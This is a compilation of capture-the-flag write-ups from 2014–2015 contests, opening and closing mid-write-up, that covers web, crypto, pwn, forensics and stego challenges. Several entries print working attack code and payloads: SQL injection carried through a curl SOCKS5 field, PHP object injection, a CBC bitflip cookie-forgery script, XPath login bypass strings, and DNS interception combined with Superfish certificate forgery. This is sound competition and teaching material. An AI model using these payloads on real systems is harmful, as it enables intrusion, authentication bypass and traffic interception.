>```bash>$ curl --socks5 "' or 1=1/*:[email protected]:9090" "http://127.0.0.1:8080/server-status">><html><head>><meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">><title>Apache Status</title>></head><body>><h1>Apache Server Status for 127.0.0.1</h1>>(...)><table border="0"><tbody><tr><th>Srv</th><th>PID</th><th>Acc</th><th>M</th><th>CPU></th><th>SS</th><th>Req</th><th>Conn</th><th>Child</th><th>Slot</th><th>Client</th><th>VHost</th><th>Request</th></tr>>><tr><td>0-0</td><td>2989</td><td>0/2/2</td><td>_></td><td>0.01</td><td>549</td><td>0</td><td>0.0</td><td>0.00</td><td>0.00></td><td>127.0.0.1</td><td nowrap="nowrap">127.0.1.1</td><td nowrap="nowrap">GET /omg-omg-s3cr3t-file.txt HTTP/1.0</td></tr>>><tr><td>1-0</td><td>2990</td><td>0/1/1</td><td>W></td><td>0.01</td><td>0</td><td>0</td><td>0.0</td><td>0.00</td><td>0.00></td><td>127.0.0.1</td><td nowrap="nowrap">127.0.1.1</td><td nowrap="nowrap">GET /server-status HTTP/1.1</td></tr>>(...)><address>Apache/2.2.22 (Ubuntu) Server at 127.0.0.1 Port 80</address>>></body></html>>```
The following immediately stands out:
>*GET /omg-omg-s3cr3t-file.txt*
Let's try that one:
>```bash>$ curl --socks5 "' or 1=1/*:[email protected]:9090" "http://127.0.0.1:8080/omg-omg-s3cr3t-file.txt">DrgnS{S0xySqliAndAp4ch3}>``` |
# VolgaCTF Quals 2015: Rsa
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| VolgaCTF Quals 2015 | Rsa | Crypto | 200 |
**Description:**>*rsa*
>*The oldie but goodie.*
>*[script](challenge/decryptor.py)*
>*[key](challenge/key.public)*
>*[ciphertext](challenge/ciphertext.bin)*
----------## Write-up### First look
We start out by looking at the RSA public key provided
>```>[+]n: [0x323fada9cfa3c3037e0b907d2cea83b9ad3655092cb04aeed95500bca4e366a06cb4d215c65bb3d630b779d27bdc8dcd907d655acbdcef465e411beb1be3dddaaba20fb058e7850aa355ec1b89358602fde7f8be59d4150770cacc1b77b775f7caa358167b3226515f15fca8a4659fea2c4efb0360e31993dde4d1c199832b89L] (1022 bits)>>[+]e: [0x1e4805a218009c7f779033e3378b07693f56b266786a295b32d7275ae2e2cd3449dac7468cdae9bb04f547ec759e560739e0d448ebba0ded244095fe1d9b900a885ae931ec760715dbdee4acddb6170b036753c8b572c8af9a02ef370d41a0f2009388bfa042b9f1d0d0847e2fd6fd7ac9e231b17cc95d1dec4540681262c919L] (1021 bits)>```
As we can see, we are dealing with a very large public exponent. While this isn't necessarily always the case, this can be an indication of a corresponding small RSA private exponent. In a lot of (but [not all](https://www.cryptologie.net/article/265/small-rsa-private-key-problem/)) cases using [Wiener's attack](http://en.wikipedia.org/wiki/Wiener%27s_attack) will suffice to recover the private exponent.
### Attack
Running the [following code](solution/rsa_crack.py):
>```python>#!/usr/bin/python>#># VolgaCTF Quals 2015># Rsa (Crypto/200)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>import math>from Crypto.PublicKey import RSA>>def number_of_bits(n):> return int(math.log(n, 2)) + 1>>def isqrt(n):> if n < 0:> raise ValueError('[-]Square root not defined for negative numbers') > if n == 0:> return 0>> a, b = divmod(number_of_bits(n), 2)> x = 2**(a+b)>> while True:> y = (x + n//x)//2> if y >= x:> return x> x = y>>def perfectSquare(n):> h = n & 0xF > if h > 9:> return -1>> if (h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8):> t = isqrt(n)> if (t*t == n):> return t> else:> return -1 > return -1>># Fraction p/q as continued fraction>def contfrac(p, q):> while q:> n = p // q> yield n> q, p = p - q*n, q>># Convergents from continued fraction>def convergents(cf):> p, q, r, s = 1, 0, 0, 1> for c in cf:> p, q, r, s = c*p+r, c*q+s, p, q> yield p, q>># Wiener's attack ported from https://github.com/pablocelayes/rsa-wiener-attack>def wienerAttack(n, e):> cts = convergents(contfrac(e, n)) > for (k, d) in cts: > # check if d is actually the key> if ((k != 0) and ((e*d - 1) % k == 0)):> phi = ((e*d - 1)//k)> s = n - phi + 1> # check if the equation x^2 - s*x + n = 0> # has integer roots> discr = s*s - 4*n> if(discr >= 0):> t = perfectSquare(discr)> if ((t != -1) and ((s+t) % 2 == 0)):> return d> return None>>f = open("key.public", 'rb')>externKey = f.read()>f.close()>>pubkey = RSA.importKey(externKey)>d = wienerAttack(pubkey.n, pubkey.e)>if(d):> print "[+]Recovered d: [%d]!" % d> privkey = RSA.construct((pubkey.n, pubkey.e, d, ))> with open('ciphertext.bin', 'rb') as f:> C = f.read()> print "[+]Flag: [%s]" % privkey.decrypt(C)>```
Gives us the following output:
>```bash>$ ./rsa_crack.py>[+]Recovered d: [3742521278975183332886178478932181208106789375560965837781]!>>[+]Flag: [{shorter_d_is_quicker_but_insecure}]>``` |
## Kendall - Pwning 300 Problem - Writeup by Robert Xiao (@nneonneo)
Kendall was "interesting". There were some red herrings that set us on the wrong path for quite some time.
Taking apart the binary, a few things stand out. First, there's a fairly obvious exploit that allows you to become an authenticated user, by abusing an off-by-one error in the input-reading function to overwrite the byte after the input buffer with a zero (which just so happens to be the "unauthenticated" bit). Specifically, by using the "filter" function, which accepts up to 128 bytes of input, and giving it 128 As, the input-reading function will null-terminate the 128 bytes and write the desired zero. After that we're authenticated.
Next, we see that authenticated users can renew leases. Renewing a lease calls an external program with `system` with user-controllable arguments (specifically, the start and end IP addresses of the DHCP range, the subnet mask, and the nameserver), so at first blush this looks like a command injection vulnerability. However, as it turns out, all the arguments must be strings consisting of dots or digits, which is too small of a character set to allow command injection. At this point we got pretty stuck - there's no obvious vulnerability that lets us get e.g. code exec, nor anything that lets us read the contents of `password.txt` (which we thought might contain the flag).
We noticed that the lease renewal program errors out if the nameserver is invalid. On a whim, I decided to point the nameserver to my IP address, and had Wireshark running to see what happened. To our surprise the remote server made a DNS query - this is what we were supposed to do. It makes two queries: one to `yandex.ru`, and one a little while later to `my.bank`.
Using the Python `dnslib` library, it was very trivial to start up an intercepting daemon which replaced the target's queries with our own:
sudo python -m dnslib.intercept -i 'yandex.ru. 300 IN A <IP>' -i 'my.bank. 300 IN A <IP>'
Setting up webservers on port 80 and 443 reveal that the server tries to connect to `yandex.ru` over HTTP, and if that request succeeds, it later connects to `my.bank` over HTTPS. We couldn't convince it to accept a self-signed certificate, but looking at the headers on the request `yandex.ru` showed the User-Agent as being "Lenovo".
So clearly, we were supposed to take advantage of Lenovo's recent Superfish debacle to forge a trusted certificate! Some quick trips through `openssl` later, we had constructed a newly-minted, perfectly trustworthy certificate for `my.bank`, signed by Superfish. With an HTTPS server pointed to the new certs, we finally got our gullible victim to connect and send us the flag. |
# VolgaCTF 2015: Web2
**Category:** Web**Points:** 200**Description:**
> Find the key!> http://web2.2015.volgactf.ru/> > Hints> > 1. Find the logs!
## Write-up
We're presented with a rather empty-looking website called 'HackBlog'. No further links to other pages and the html-source doesn't provide any clues. Let's try robots.txt:
>User-agent: *>>Disallow: />>Disallow: /SecretAdminPanel
Okay, lets try /SecretAdminPanel then we get:
>Secret Admin Panel>Forbidden
Okay, so we need to become admin somehow. The first thing to notice here is that when a GET-request to SecretAdminPanel is made, a cookie called 'PHPSESS' is set with the following value:
>```>%7B%22isAdmin%22%3Afalse%7D0afb5cf5c7d66587da7c811767250458 >```
This seems to be a json-object with a md5-hash concatenated:>{"isAdmin":false}<hash>
The hash serves as verification that the json-object is not tampered with. Simply md5-ing the json does not equal the hash so we're in the dark. Either we have to brute-force some salt or we have to find something else to exploit and retreive the salt with..
Then the first hint came: "Find the logs!"
Hmm, trying /logs presents us with a page that seems to var_dump multiple arrays corresponding to our previous requests to /SecretAdminPanel, notably the IP is logged and an empty key called 'params'
Lets try requesting SecretAdminPanel with a param:
> /SecretAdminPanel?a=b
We get
>Forbidden>Don't attempt to hack, all requests will be logged.
And now /logs shows:
>```>array(2) {> ["ip"]=>> string(13) "13.37.13.37"> ["params"]=>> array(1) {> ["a"]=>> string(1) "b"> }>}>```
Hmm? I wonder if we can inject something here? After some tampering i got an error with:
http://web2.2015.volgactf.ru/SecretAdminPanel?a[a%27]
>Forbidden>Don't attempt to hack, all requests will be logged.>Error: unrecognized token: "";s:0:"";}}')"
That seems to be a serialized php-object, i wonder if its the param-object?
http://web2.2015.volgactf.ru/SecretAdminPanel?a[a%27]=ccccc
>Forbidden>Don't attempt to hack, all requests will be logged.>Error: near "";s:5:"": syntax error
Seems like it! the s:0 changed to s:5 when entering 5 chars into ?a
So what now? We most probably are injecting into a sql query,
http://web2.2015.volgactf.ru/SecretAdminPanel?a[-1%27);select%20*;--
>Error: no tables specified
Bingo!
After some searching i found out that logs is the only table in the database, with 2 columns: ip and params
Lets try to insert our own serialized sting and see if it gets unserialized:
$php -r 'var_dump(serialize(array("smoke"=>"leet", "everyday")));'string(48) "a:2:{s:5:"smoke";s:4:"leet";i:0;s:8:"everyday";}"
Insert it with:
http://web2.2015.volgactf.ru/SecretAdminPanel?a[a%27);insert%20into%20logs%20values%20(1,%20%27a:2:{s:5:%22smoke%22;s:4:%22leet%22;i:0;s:8:%22everyday%22;}%27)--
And request /logs again:
>```>array(2) {> ["ip"]=>> string(1) "1"> ["params"]=>> array(2) {> ["smoke"]=>> string(4) "leet"> [0]=>> string(8) "everyday"> }>}>```
Nice! so, lets try an object:
> $ php -r 'class SomeObject {};var_dump(serialize(new SomeObject()));'> string(22) "O:10:"SomeObject":0:{}"
>```>array(2) {> ["ip"]=>> string(1) "1"> ["params"]=>> object(__PHP_Incomplete_Class)#7 (1) {> ["__PHP_Incomplete_Class_Name"]=>> string(10) "SomeObject"> }>}>```
Allright! Definitely an unserialize(); .. almost there.. now.. what object could we be interested in? Remember, to become admin we most likely need to find some sort of secret cookie salt value, so let's just try Session or something..
> O:7:"Session":0:{}
http://web2.2015.volgactf.ru/SecretAdminPanel?a[a%27);insert%20into%20logs%20values%20(1,%20%27O:7:%22Session%22:0:{}%27)--
>```>array(2) {> ["ip"]=>> string(1) "1"> ["params"]=>> object(Session)#7 (2) {> ["cookieSalt":"Session":private]=>> string(20) "nO97M0Za6cu9wDC72VVv"> ["params":"Session":private]=>> array(0) {> }> }>}>```
Cool! Thats the cookieSalt we're looking for.. lets verify and generate a valid cookie where isAdmin=true:
>```python>#!/usr/bin/env python>># PHPSESS=%7B%22isAdmin%22%3Afalse%7D0afb5cf5c7d66587da7c811767250458>import hashlib>import string >>>payload = '{"isAdmin":false}'>orig_hash = "0afb5cf5c7d66587da7c811767250458"># assume 0afb5cf5c7d66587da7c811767250458 is md5>># it could be either md5, md4, md2, haval128, ntlm>>def genhash(msg):> return hashlib.md5(msg).hexdigest()>>>cookiesalt = "nO97M0Za6cu9wDC72VVv">print genhash("%s%s" % ( payload, cookiesalt ))>wish = '{"isAdmin":true}'>solution = genhash("%s%s" % ( wish, cookiesalt ))>print "%s%s" % (wish, solution)>```python
This gives us:
> {"isAdmin":true}59218ddbff65da5eb025f5ee88260c9e
By requesting /SecretAdminPanel with cookie PHPSESS=%7B%22isAdmin%22%3Atrue%7D59218ddbff65da5eb025f5ee88260c9e
>```bash>curl --cookie "PHPSESS=%7B%22isAdmin%22%3Atrue%7D59218ddbff65da5eb025f5ee88260c9e" --url "http://web2.2015.volgactf.ru/SecretAdminPanel">```
We get the flag:
>```html> <h1>Secret Admin Panel</h1>> > {417a4c17bd3132bba864dac9edf4ae7a} </div>> </body>>```
> {417a4c17bd3132bba864dac9edf4ae7a} |
# VolgaCTF 2015: database
**Category:** Pwn**Points:** 75**Description:**
> *hack the [database](challenge/database)!*>> *nc database.2015.volgactf.ru 7777*
Its a telnet-service listening on port 7777
In the non-stripped binary we see a couple of functions, when looking at the functionprocess_connection we see a few possible commands (which can also be seen by running the binary through strings):
> get_flag> > whoami> > login> > register> > get_info> > set_info> > logout> > exit
Lets first try get_flag
> This command is prohibited to non-admin users.
Okay, lets try to register admin:> > register admin a> > This user is already exists.
Hmm lets look at the register_user function in the binary
>```c> LODWORD(userExists) = g_hash_table_lookup(users, cmd_arg1);> if ( userExists )> {> user_exists_len = strlen(user_exists);> result = send(SocketFD, user_exists, user_exists_len, 0);> }> else> {> result = (ssize_t)insert_new_user(cmd_arg1_ref1, cmd_arg2_ref1, 0LL);> *(_QWORD *)ref_result = result;> }>```
So it first checks if the input-string does not already exist as a username and then calls 'insert_new_user'
>```c> username_buf = (char *)calloc(0x40uLL, 1uLL);> username_after_rtrim = rtrim((const char *)username);> strncpy(username_buf, username_after_rtrim, 0x40uLL);> username_buf[64] = 0;> password_buf = (char *)calloc(0x80uLL, 1uLL);> password_after_rtrim = rtrim((const char *)password);> strncpy(password_buf, password_after_rtrim, 0x40uLL);> password_buf[64] = 0;> if ( v7 )> {> v5 = rtrim((const char *)v7);> strncpy(password_buf + 64, v5, 0x40uLL);> password_buf[128] = 0;> }> g_hash_table_insert(users, username_buf, password_buf);>```
So first, the input-string is checked if it does not exist as a username already, and if not, the username gets trimmed' with rtrim(); and inserted into the database.. seems like a vulnerability to me: we can insert something like admin\t, which when checked does not exist, but rtrim proceeds to remove the \t character so we end up inserting 'admin'. Let's try that: simply print a tab-character in your terminal and copy it: $perl -e 'print "\t"' then register admin\t and you're logged in as admin:
>```bash> >register admin a> >whoami> You are admin.> >get_flag> flag: {does_it_look_like_column_tr@ncation} |
This was a case of injecting a field of a vulnerable web application. It's not mysql though, it is XPATH.One can log-in as admin by entering Username: ' or '1' = '1Password: ' or '1' = '1and then on the search user id field : ' or '1' = '1This returns a bunch of results, including the flag : Pwnium{cf921420dfd44ae4a68a492b3de852a3} |
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# ASIS Cyber Security Contest Finals 2014: Mask
**Category:** Crypto, Stego**Points:** 150**Description:**
> Flag is hidden in [file](mask_e50b38fc9ba38378c444bd93518e886f), find it!>> **Hint:** Numerical representation can be useful.
## Write-up
Let’s see what [the provided file](mask_e50b38fc9ba38378c444bd93518e886f) could be:
```bash$ file mask_e50b38fc9ba38378c444bd93518e886fmask_e50b38fc9ba38378c444bd93518e886f: xz compressed data```
So, we extract the file using the built-in `xz` or `unxz` commands:
* `xz -dc < mask_e50b38fc9ba38378c444bd93518e886f > mask`* `unxz < mask_e50b38fc9ba38378c444bd93518e886f > mask`
Alternatively, extract the provided file using [p7zip](http://p7zip.sourceforge.net/):
```bash7z x mask_e50b38fc9ba38378c444bd93518e886f```
Let’s find out what the extracted file is:
```bash$ file maskmask: data```
Okay, it’s just a bunch of seemingly random, binary data. Let’s use the hint to try to make sense of it, and convert the byte stream into a number. First we use `hexdump` and `xxd` to view the hexadecimal representation of the file, but nothing really stands out. Let’s represent the file as a decimal number. Since the file is quite big, we write a Python script for this:
```pyimport binasciif = open('mask', 'rb')byte_stream = f.read()number = int(binascii.hexlify(byte_stream), 16)
with open('big-ass-int.txt', 'w') as number_file: number_file.write(str(number))```
After running this script, `big-ass-int.txt` contains the number, which consists of 674,209 digits:
```bash$ wc -c big-ass-int.txt 674209 big-ass-int.txt```
The number starts with the following digits:
```bash$ head -c 40 big-ass-int.txt1415926535890932384626433832095028841971```
Those look like [the fractional-part digits of `π`](http://www.wolframalpha.com/input/?i=π)! Let’s get the fractional-part digits of `π` and compare them to this number to see if there’s a difference.
[This page](http://www.exploratorium.edu/pi/pi_archive/Pi10-6.html) lists the first million digits of `π`, which is more than enough for our experiment (we only need 674,209 fractional-part digits). After removing the leading `3.` and whitespace we end up with [this file named `pi.txt`](https://gist.githubusercontent.com/anonymous/c2f71add67dd9a7943ad/raw/f1afa4da5012e93921a0c681419427466494a37e/pi-1000000.txt).
Let’s write a Python script `diff.py` to get the digits from the real `π` that are different in the `big-ass-int.txt` file, and format the resulting number in hex.
```python#!/usr/bin/env python# coding=utf-8
real_pi = open('pi.txt', 'r').read()big_ass_int = open('big-ass-int.txt', 'r').read()
result = ''for i in range(0, len(big_ass_int)): if big_ass_int[i] != real_pi[i]: result += real_pi[i]
print '%x' % int(result)```
Let’s treat the hexadecimal output of the script as a byte stream and save the result as a file named `diff.bin`.
```bash$ python diff.py > diff
$ xxd -r -p diff > diff.bin
$ file diff.bindiff.bin: xz compressed data```
Aha, apparently this is another `xz` archive! Let’s extract it using any of the abovementioned techniques:
```bash$ unxz < diff.bin > extracted
$ file extractedextracted: PDF document, version 1.5```
Opening the extracted file in a PDF viewer reveals the flag: `ASIS_d45491d1ad0b63ae05b0f0238d0c48e8`.
## Other write-ups and resources
* none yet |
# Plaid CTF 2014: curlcore
**Category:** Forensics**Points:** 250**Description:**
> We managed to grab a [memory dump](curlcore-b9b2bc016a796db9db66be6365d48a6b.tar.bz2) off of The Plague’s computer while he was making a secure download. We think he may have been looking for new places to hide the Prime Factorizer. Can you figure out what messages were sent through his computer?
## Write-up
Unzip [the provided tarball](curlcore-b9b2bc016a796db9db66be6365d48a6b.tar.bz2). This results in the following file/directory structure:
```bash$ tree.├── curlcore.sh├── lib│ └── x86_64-linux-gnu│ ├── ld-2.17.so│ ├── libc-2.17.so│ ├── libcom_err.so.2.1│ ├── libcrypt-2.17.so│ ├── libcrypto.so.1.0.0│ ├── libdl-2.17.so│ ├── libgcrypt.so.11.7.0│ ├── libgpg-error.so.0.10.0│ ├── libkeyutils.so.1.4│ ├── libnsl-2.17.so│ ├── libnss_compat-2.17.so│ ├── libnss_files-2.17.so│ ├── libnss_nis-2.17.so│ ├── libpthread-2.17.so│ ├── libresolv-2.17.so│ ├── libssl.so.1.0.0│ └── libz.so.1.2.8├── tmp│ ├── capture│ ├── corefile│ └── coremaps└── usr ├── bin │ └── curl └── lib └── x86_64-linux-gnu ├── libasn1.so.8.0.0 ├── libcurl.so.4.3.0 ├── libgnutls.so.26.22.6 ├── libgssapi.so.3.0.0 ├── libgssapi_krb5.so.2.2 ├── libhcrypto.so.4.1.0 ├── libheimbase.so.1.0.0 ├── libheimntlm.so.0.1.0 ├── libhx509.so.5.0.0 ├── libidn.so.11.6.11 ├── libk5crypto.so.3.1 ├── libkrb5.so.26.0.0 ├── libkrb5.so.3.3 ├── libkrb5support.so.0.1 ├── liblber-2.4.so.2.8.3 ├── libldap_r-2.4.so.2.8.3 ├── libp11-kit.so.0.0.0 ├── libroken.so.18.1.0 ├── librtmp.so.0 ├── libsasl2.so.2.0.25 ├── libsqlite3.so.0.8.6 ├── libtasn1.so.3.2.0 └── libwind.so.0.0.0
7 directories, 45 files```
`curlcore.sh` is a shell script that was used to create the tarball. It contains this piece of code:
```bashsleep 1OUTPUT="`/usr/bin/env -i /bin/dash -c 'ulimit -c unlimited; curl -k https://curlcore.local.plaidctf.com/flag.html & PID=$!; sleep 5; printf "generate-core-file\ninfo proc mappings\ndetach\n" | sudo gdb attach $PID; wait'`"sleep 1```
Apparently, `https://curlcore.local.plaidctf.com/flag.html` was requested while the dump was created. The flag we’re looking for is probably part of the response.
Open `tmp/capture` in Wireshark. It shows that `https://curlcore.local.plaidctf.com/flag.html` was indeed requested, but since it was downloaded over HTTPS the plain text response isn’t available as part of the capture. We _do_ know that `TLS_RSA_WITH_AES_256_CBC_SHA` is used, i.e. the data is encrypted with AES-256 and the key is exchanged using basic RSA encryption. Wireshark also displays the RSA session ID, `19AB5EDC02F097D5074890E44B483A49B083B043682993F046A55F265F11B5F4`:
Now that we have the session ID, [we could decrypt the entire session if we also had the SSL master secret](http://www.cloudshield.com/blog/advanced-malware/how-to-decrypt-openssl-sessions-using-wireshark-and-ssl-session-identifiers/):
But where could we find this SSL master key? `curl` depends on OpenSSL for TLS support… So [let’s see how OpenSSL stores the SSL master key in memory](https://github.com/openssl/openssl/blob/300b9f0b704048f60776881f1d378c74d9c32fbd/ssl/ssl.h#L586-L590).
```hstruct ssl_session_st { // […] int master_key_length; unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; /* session_id - valid? */ unsigned int session_id_length; unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH]; // […]}```
Turns out the SSL master key is close to the session ID, in the same struct.
Let’s see if the session ID occurs in any of the other files:
```bash$ grep '\x19\xAB\x5E\xDC\x02\xF0\x97\xD5\x07\x48\x90\xE4\x4B\x48\x3A\x49\xB0\x83\xB0\x43\x68\x29\x93\xF0\x46\xA5\x5F\x26\x5F\x11\xB5\xF4' -r .Binary file ./tmp/capture matchesBinary file ./tmp/corefile matches```
A-ha, `tmp/corefile` also contains the session ID. Let’s look near the session ID in this file, for anything that might be the SSL master key for the connection.
```bash$ hexdump -C tmp/corefile | grep --before=5 --after=3 '19 ab 5e dc'0004fbc0 20 20 00 00 00 00 00 00 70 01 00 00 00 00 00 00 | ......p.......|0004fbd0 01 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|0004fbe0 30 00 00 00 19 1e 50 42 e6 b3 13 71 aa 65 25 8e |0.....PB...q.e%.|0004fbf0 13 b2 dc 71 4d 98 4d f8 d6 8f ad 67 8f f0 a2 fc |...qM.M....g....|0004fc00 49 47 6d 65 c3 a1 61 f7 18 57 2c 3f 5d b8 56 6a |IGme..a..W,?].Vj|0004fc10 0d e8 9e 58 20 00 00 00 19 ab 5e dc 02 f0 97 d5 |...X .....^.....|0004fc20 07 48 90 e4 4b 48 3a 49 b0 83 b0 43 68 29 93 f0 |.H..KH:I...Ch)..|0004fc30 46 a5 5f 26 5f 11 b5 f4 00 00 00 00 00 00 00 00 |F._&_...........|0004fc40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|```
And indeed: right before the session ID, starting with `19 1e 50 42` and ending with `0d e8 9e 58` there is something that might be a valid master key (consisting of exactly `96` hexadecimal digits).
Let’s write the session ID and this master key to [a file in the format described by Wireshark](session-master-secret.log):
```RSA Session-ID:19AB5EDC02F097D5074890E44B483A49B083B043682993F046A55F265F11B5F4 Master-Key:191E5042E6B31371AA65258E13B2DC714D984DF8D68FAD678FF0A2FC49476D65C3A161F718572C3F5DB8566A0DE89E58```
Go to Wireshark → Edit → Preferences → Protocols → SSL and select the `session-master-secret.log` file in the (Pre-)Master-Secret log filename input field.
After that, you can right-click on any TLS/SSL packet and select ‘Follow SSL Stream’ to view the decoded payload.
The flag is `congratz_you_beat_openssl_as_a_whitebox`.
## Other write-ups and resources
* <https://cesena.ing2.unibo.it/2014/04/14/plaidctf-2014-curlcore-forensic-250/>* <https://fail0verflow.com/blog/2014/plaidctf2014-for250-curlcore.html>* <https://docs.google.com/a/google.com/file/d/0B1Q3-q0eaImNSlNJbTNKVzNtV3c/edit>* [Source code for this challenge, released after the CTF](https://github.com/pwning/plaidctf2014/tree/master/forensics/curlcore)* [Indonese](http://blog.rentjong.net/2014/04/plaidctf2014-write-up-curlcore.html)* <http://j00ru.vexillium.org/dump/ctf/curlcore.zip> |
# VolgaCTF Quals 2015: Russian doll
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| VolgaCTF Quals 2015 | Russian doll | Forensics | 300 |
**Description:**>*Russian doll*
>*We got a strange file, can you find a flag in it image*
----------## Write-up
We are given a 500MB file called "russian_doll.iso" about which file has to say the following:
>```bash> file russian_doll.iso>> russian_doll.iso; x86 boot sector, code offset 0x58, OEM-ID "-FVE-FS-", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 255, hidden sectors 46626816, FAT (32 bit), sectors/FAT 8160, reserved3 0x800000, serial number 0x0, unlabeled>```
The "-FVE-FS-" OEM-ID indicates we are probably dealing with a [bitlocker encrypted volume](http://www.forensicswiki.org/wiki/BitLocker_Disk_Encryption). So we fire up [Diskinternals EFS recovery](http://www.diskinternals.com/efs-recovery/) and mount russian_doll.iso as a raw disk image. In the Diskinternals EFS recovery interface we can now see the volume name which contains the pass (WIN-VQ2T0GLLBKC pss : d@7raLzVolg@CTF):
Next we perform recovery on disk (choosing Fast EFS recovery), enter the password (d@7raLzVolg@CTF) and after being notified no deleted files have been recovered we are presented with an overview of the folders and files in the volume:
The volume contains only a single file called "flag.gif" which we can preview (but not save in our trial version):
Taking a look at the file with the built-in hex viewer we can see the flag all the way down at the end of the file:
Giving us the flag:
>*{fkw2pef460hlcm2vefvblowmfldqaw34volgactf}* |
# CodeGate General CTF 2015: Owltube
**Category:** Web**Points:** 400**Description:**
> You're welcome to betatest our new social media site, it's going to be the next big thing.> > Server : http://54.64.164.100:5555/> Script : [index.py](challenge/index.py)> > - option : please check the notice board.
## Write-up
The challenge consists of a python Tornado web application using mongodb and allows users to register, login and add links to youtube videos.User sessions are managed through an authentication cookie that is constructed as follows:
>```python>def set_cookie(resp, cookie):> cookie = json.dumps(cookie)>> iv = Random.new().read(BS)> aes = AES.new(SECRET_KEY, AES.MODE_CBC, iv)> cookie = pad(cookie)> cookie = iv + aes.encrypt(cookie)> cookie = cookie.encode("base64")> cookie = cookie.replace("\n", "")>> resp.set_cookie("auth", cookie)>```
The cookie value passed to set_cookie is set, upon successful login, to a json representation of the following dictionary:
>```python> u = {}> u["u"] = request.form.get("user")> u["pw"] = request.form.get("pw")>```
The vulnerability here resides in the fact that the cookie is encrypted using AES in Cipher Block Chaining (CBC) mode. In CBC mode, each block of plaintext is XORed to the previous block of ciphertext before being encrypted, using a random IV for the first block of plaintext. Conversely, upon decryption, each block of ciphertext is decrypted and subsequently XORed to the previous block of ciphertext (or the IV in case of the first block) to yield the final decrypted block.
Since CBC mode comes with no authentication mechanism (eg. a MAC, signature, etc.) the application has no means to detect if the encrypted data it processes has been altered or not by a malicious client. This allows us to perform a bitflipping attack on our encrypted cookie. Flipping a byte in a ciphertext block will corrupt the corresponding decrypted block but produce a corresponding flip in the byte at the same block-offset within the subsequent block. Hence, given a known plaintext byte at offset i in the plaintext, we can alter the byte at offset i in the final decryption result by flipping byte (i-block_size) of the ciphertext (or byte i of the IV if i < block_size).
Since the decryption result must always be a valid json string, we cannot afford corrupting the ciphertext itself and hence are restricted to flipping the first 16 bytes of the plaintext by corrupting the IV only. We can set bytes at offsets 0..15 in the decryption result to our target text by corrupting the IV in the following manner:
>```python>iv[i] = chr(ord(known_plaintext[i]) ^ ord(iv[i]) ^ ord(target_text[i]))>```
This, of course, requires known plaintext for at least the first 16 bytes. If we register a user, we know the full plaintext of the cookie:
>```python>{"u": "username", "pw": "password"}>```
In the application source we can see the following code for the index:
>```python>def index():> if is_logged_in():> videos = []> for i, vid in enumerate(g.db.videos.find({"user": g.user["u"]})):>```
We will try to construct a cookie with a plaintext that allows us to achieve successful login as the user "admin" (which we guessed to be the target account for flag retrieval, since it was the only username always taken while the rest of the usernames were periodically wiped from the database). If we register a user with username "x" and password "admin", our known plaintext will be:
>```python>{"u": "x", "pw": "admin"}>```
We want to flip this to the following in order to eliminate the "pw" field so we can achieve successfull login:
>```python>{"u": "x", "u": "admin"}>```
The [final exploit](solution/owltube_exploit.py) is as follows:
>```python>#!/usr/bin/python>#># CODEGATE General CTF 2015># OWLTUBE (WEB/400) Exploit>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>import requests>from Crypto.Cipher import AES>>BS = AES.block_size>>class exploit:> def __init__(self):> self.r = None> self.cookies = None> return>> def getAuthcookie(self):> if(self.cookies):> return self.cookies['auth']> else:> return None>> def login(self, url, username, password):> payload = {'user': username, 'pw': password}> self.r = requests.post(url + '/login', data=payload)> self.cookies = self.r.cookies> return>> def register(self, url, username, password, email):> payload = {'user': username, 'pw': password, 'email': email}> self.r = requests.post(url + '/register', data=payload)> self.cookies = self.r.cookies> return>> def visit(self, url, authcookie):> cookie = {'auth': authcookie}> self.r = requests.get(url, cookies=cookie)> return (self.r.text, self.r.status_code)>>email = "x@x">username = "x">password = "admin">>url = 'http://54.64.164.100:5555'>>sploit = exploit()>>sploit.register(url, username, password, email)>sploit.login(url, username, password)>>cookie = sploit.getAuthcookie()>(iv, e) = (cookie.decode('base64')[:BS], cookie.decode('base64')[BS:])>>print "[+]Cookie: [%s]" % cookie>print "[+]IV: [%s]" % iv.encode('hex')>print "[+]Ciphertext: [%s]" % e.encode('hex')>>plaintext = '{"u": "x", "pw": "admin"}'>targetext = '{"u": "x", "u": "admin"}'>>iv2 = list(iv)>for i in range(0, 16):> iv2[i] = chr(ord(plaintext[i]) ^ ord(iv2[i]) ^ ord(targetext[i]))>>iv2 = "".join(iv2)>>cookie = (iv2 + e).encode("base64").replace("\n", "")>>(t, s) = sploit.visit(url, cookie)>>print t>```
Which will yield the following result:
>```bash>$ python owltube_exploit.py>[+]Cookie: ["YOk8jak/YUSlKfeEYkJWfkqVJ0kui19L4OVjlO8buQAKYbVZT4dyIeiyKATU/BK8"]>[+]IV: [60e93c8da93f6144a529f7846242567e]>[+]Ciphertext: [4a9527492e8b5f4be0e56394ef1bb9000a61b5594f877221e8b22804d4fc12bc]>```>```html><html>><head>> <title>Owltube - index</title>> <link href="static/css/bootstrap.min.css" rel="stylesheet" media="screen">>(...)>> <span>1</span><span>THIS IS THE KEY</span>>(...)>```
Giving the flag:
>the_owls_are_watching_again |
# Backdoor CTF 2015: Rsalot
**Category:** Crypto**Points:** 250**Description:**
> The flag is encrypted using a system that makes use of prime factorization of large numbers. >> Decrypt the flag from [this](challenge/RSALOT.tar.gz).
## Write-up
The challenge consists of a collection of 100 RSA public keys and an RSA-encrypted flag file. Given the large number of RSA public keys we immediately suspected at least a single pair would have a moduli n with a common prime factor. This poses a problem because, given two RSA public keys (n1, e1), (n2, e2) where n1 = p\*q1 and n2 = p\*q2, we can trivially factor n1 and n2 by calculating the greatest common divisor of n1 and n2: gcd(n1, n2) = p and hence obtain the corresponding private keys [[1](https://factorable.net/faq.html)], [[2](http://www.hyperelliptic.org/tanja/vortraege/facthacks-RSA.pdf)].
We cooked up a [quick & dirty script](solution/rsalot.py) which checked all public key pairs for a common prime factor and if it found one (or more) it would try to decrypt to ciphertext with it:
